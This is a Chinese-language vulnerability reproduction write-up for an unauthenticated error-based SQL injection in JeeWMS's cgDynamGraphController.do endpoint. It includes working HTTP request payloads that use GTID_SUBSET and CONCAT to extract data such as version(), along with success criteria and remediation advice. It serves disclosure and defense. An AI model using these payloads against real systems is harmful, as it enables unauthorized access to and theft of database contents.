JeeWMS cgDynamGraphController.do 报错注入漏洞复现

Wayyt  7小时前

JeeWMS cgDynamGraphController.do 报错注入漏洞复现

0x00 概述

JEEWMS 是一款基于 Java(Spring MVC + MyBatis + MySQL)构建的开源仓库管理系统,源码托管于 Gitee 的 erzhongxmu/JeeWMS 仓库。该系统沿用了 JEECG 快速开发平台的"在线报表"体系,其中动态图表模块的控制器 CgDynamGraphController 负责根据配置编码渲染统计图表数据。

公开漏洞收录信息显示,该系统 /cgDynamGraphController.do 接口存在 SQL 注入漏洞:datagrid 动作的 configId 参数未做任何过滤即拼入 SQL 语句,未经身份验证的远程攻击者可借助 MySQL 报错注入通道获取数据库敏感信息,CVSS 评分 8.5。该漏洞于 2025 年 8 月 12 日披露,公开渠道未检索到官方补丁通告。

0x01 影响版本

  • 产品:JEEWMS(厦门市灵鹿谷科技有限公司)
  • 漏洞接口:/cgDynamGraphController.do?datagridconfigId 参数)
  • 具体受影响版本号未在公开渠道明确标注。经对开源仓库源码核对,CgDynamGraphControllerdatagrid 方法及对应数据访问模板未包含对 configId 的过滤逻辑,据此推断现行开源版本均受影响(此为基于源码比对的推断)。
  • 前置条件:目标可达该接口即可,利用过程无需任何认证。

0x02 漏洞利用

漏洞根源在于配置参数以字符串插值方式进入 SQL。控制器源码中,datagrid 方法将请求参数 configId 原样传入 cgDynamGraphService.queryCgDynamGraphConfig(configId),最终由 MiniDao 按 SQL 模板执行,模板文件 CgDynamGraphDao_queryCgDynamGraphMainConfig.sql 的关键内容为:

select ... from jform_cgdynamgraph_head ch where ch.code = '${id}'

${id} 为直接字符串替换而非参数绑定,configId 中的单引号可以闭合 ch.code = '...' 的引号边界,后续内容整体进入 SQL 语法层。

控制器类与方法上均无鉴权注解,且该接口不在系统的鉴权拦截范围内,因此未登录用户可直接访问。闭合引号后,攻击者构造 AND GTID_SUBSET(CONCAT(0x71767a7071, <表达式>, 0x71767a7071), 2315) 形式的载荷:GTID_SUBSET 第一个参数非法时抛出 MySQL 报错,错误文本中会携带 CONCAT 拼接的内容;0x71767a7071 是字符串 qvzpq 的十六进制,用作回显结果的起止标记。数据库异常被控制器捕获后以 "查找动态报表配置失败!" + e.getMessage() 的形式再次抛出,错误消息(含注入结果)随之进入响应——异常最终如何呈现到响应体属推断,但从利用判定逻辑看报错文本确实可随响应返回。

0x03 复现步骤

以脱敏后的测试目标为例(域名主段已掩码),验证报错注入通道的请求包如下:

POST /cgDynamGraphController.do?datagrid HTTP/1.1
Host: wms.***.com
Connection: keep-alive
Accept-Encoding: gzip, deflate, br
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Content-Type: application/x-www-form-urlencoded
Content-Length: 86

configId='+AND+GTID_SUBSET(CONCAT(0x71767a7071,md5(7465132),0x71767a7071),2315)--+UwdJ

要点说明:

  • configId=' 闭合模板中 ch.code = ' 的左引号,-- +UwdJ 注释掉语句尾部残留;
  • md5(7465132) 为固定已知值的 MD5 探针:若响应中出现该 MD5 值,证明报错回显通道成立;
  • 请求未携带任何 Cookie 或 Token,全程未认证。

md5(7465132) 替换为任意 SQL 表达式即可完成数据读取,例如读取当前数据库用户(表达式默认可取 user()version()databa se()):

configId='+AND+GTID_SUBSET(CONCAT(0x71767a7071,version(),0x71767a7071),2315)--+UwdJ

回显结果位于两个 qvzpq 标记之间,从响应体中提取标记间的片段即得表达式的求值结果。

0x04 判定

利用是否命中的判定条件:

1. 响应状态码为 200;

2. 探针步:响应体包含探测载荷中随机数值对应的 MD5 计算值(如上述 md5(7465132) 的结果)。若两个条件同时成立,可判定报错注入通道有效;

3. 数据读取步:若响应体中 qvzpq……qvzpq 标记之间出现与所提交 SQL 表达式一致的求值结果(如 version() 对应的数据库版本字符串),即可确认注入成功并提取数据。

若响应状态码非 200 或响应体无标记内容,则视为该目标不受影响或载荷被过滤。

0x05 总结

该漏洞与 JEECG 系"在线报表"家族此前公开的多个注入问题(如 graphReportController.docgAutoListController.do 接口的 CVE-2025-0392、CVE-2025-5384)同源,本质均是报表配置标识被字符串插值直接拼入 SQL。修复建议:

  • 升级至官方最新版本;
  • 若暂时无法升级,应在入口处对 configId 做严格白名单校验(仅允许字母数字),或将 MiniDao 模板中 ${id} 改为参数化占位符;
  • 对报表类接口补充统一的认证与鉴权拦截。

参考资料:

最新评论

昵称
邮箱
提交评论